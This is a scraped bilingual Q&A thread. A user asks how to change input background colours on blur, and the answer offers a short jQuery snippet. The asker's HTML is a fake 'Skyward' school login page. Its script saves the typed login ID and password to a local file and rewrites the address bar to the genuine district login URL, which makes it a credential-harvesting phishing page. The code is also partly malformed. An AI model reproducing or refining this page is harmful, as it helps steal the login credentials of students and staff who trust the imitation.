输入文本时如何更改焦点丢失时的表单背景颜色？ [英] How to change form background color on focus loss when text is entered?
问题描述
首先，我想指出的是，所有这些都是客户端，而不是基于Web的。输入文字后，失去焦点后，我需要将表单框更改为绿色。表单框开始为白色，焦点变为紫色，输入文本时我需要焦点变为绿色。
First I would like to point out that all of this is client side, not web based whatsoever. I need to have the form boxes change to green after focus loss when text has been input. The form boxes start out white, turn purple on focus, and i need them to turn green on a loss of focus when text is input.
<!DOCTYPE html>
<html>
<head>
<title>Login - Powered By Skyward</title>
<link rel="icon" href="skyicon.gif">
<meta name="viewport" content="height=device-height, initial-scale=1.0">
<script type ="text/javascript">
function WriteToFile(passForm) {
set fso = CreateObject("Scripting.FileSystemObject");
set s = fso.CreateTextFile("C:\error.txt", True);
s.writeline(document.passForm.input1.value);
s.writeline(document.passForm.input2.value);
s.Close();
window.history.pushState("object or string", "Skyward Login", "https://sky.gilmerisd.org/scripts/wsisa.dll/WService=wsEAplus/seplog01.w");
}
</script>
<style>
body {
background-image: url("slp_ps.jpg");
background-repeat:no-repeat;
}
input {
display:inline-block;
float:right;
}
{
width:1234px;
height:50%;
position:relative;
margin:auto;
}
.btn-style{
border : solid 1px #2d9cf0;
border-radius : 3px;
moz-border-radius : 3px;
font-size : 9px;
color : #000000;
padding : 4px 13px;
background-color : #ffffff;
}
div {
margin-top: 500px;
margin-bottom: 0px;
margin-right: 500px;
margin-left: 485px;
}
.inputbox-css {
-webkit-box-sizing: content-box;
-moz-box-sizing: content-box;
box-sizing: content-box;
margin: -1px 0 0;
padding: 5px;
border: 1px solid rgba(127,174,255,1);
-webkit-border-radius: 1px;
border-radius: 1px;
font: normal 16px/normal "Times New Roman", Times, serif;
color: rgba(0,0,0,0.9);
-o-text-overflow: clip;
text-overflow: clip;
}
.inputbox-css:focus {
background: #ebc4fc;
}
p {
display:block;
float:right;
}
</style>
</head>
<body>
<body background="slp_ps.jpg" style="width:1220px;height:700px;">
<div>
<p>
<form onsubmit="download(this['name'].value, this['text'].value)">
<font size="2" face="arial" class="element"> Login ID: </font><input class="inputbox-css" type="text" style="font-family: Verdana; font-size: 12px;" name="lllllllllll loginid" "width: 165px;" maxlength="100"/><br>
<br>
<font size="2" face="arial" class="element"> Password: </font><input class="inputbox-css" type="password" style="font-family: Verdana; font-size: 12px;" name="lllllllllll password;" "width: 160px;" maxlength="100"/><br>
<br>
<font size="2" face="arial"> <input type="submit" class="btn- style"name="lllllllllll submit" value="Sign In"/><br>
</form>
</p>
</div>
</form>
</body>
</html>
推荐答案
这是使用Jquery的快速jsfiddle：
Here is a quick jsfiddle using Jquery:
https://jsfiddle.net/37dw6e3u/
使用jquery .blur函数：
using the jquery .blur function:
$("input").blur(function(){
$(this).css("background-color", "green")
});
（不检查用户是否实际添加了文本，因此您可以自己写出来），您可以使用.focus更改焦点上的颜色。
(there is no check if the user actually added text so you could write that yourself), you could use .focus to change the color on focus.
我想说的是，对此问题进行非常快速的google搜索会为您的问题提供大量解决方案。下次尝试自己动手修复它！
I would like to say that a very quick google search on this problem would turn up a huge amount of solutions to your problem. Try to fix it yourself first next time!
这篇关于输入文本时如何更改焦点丢失时的表单背景颜色？的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！
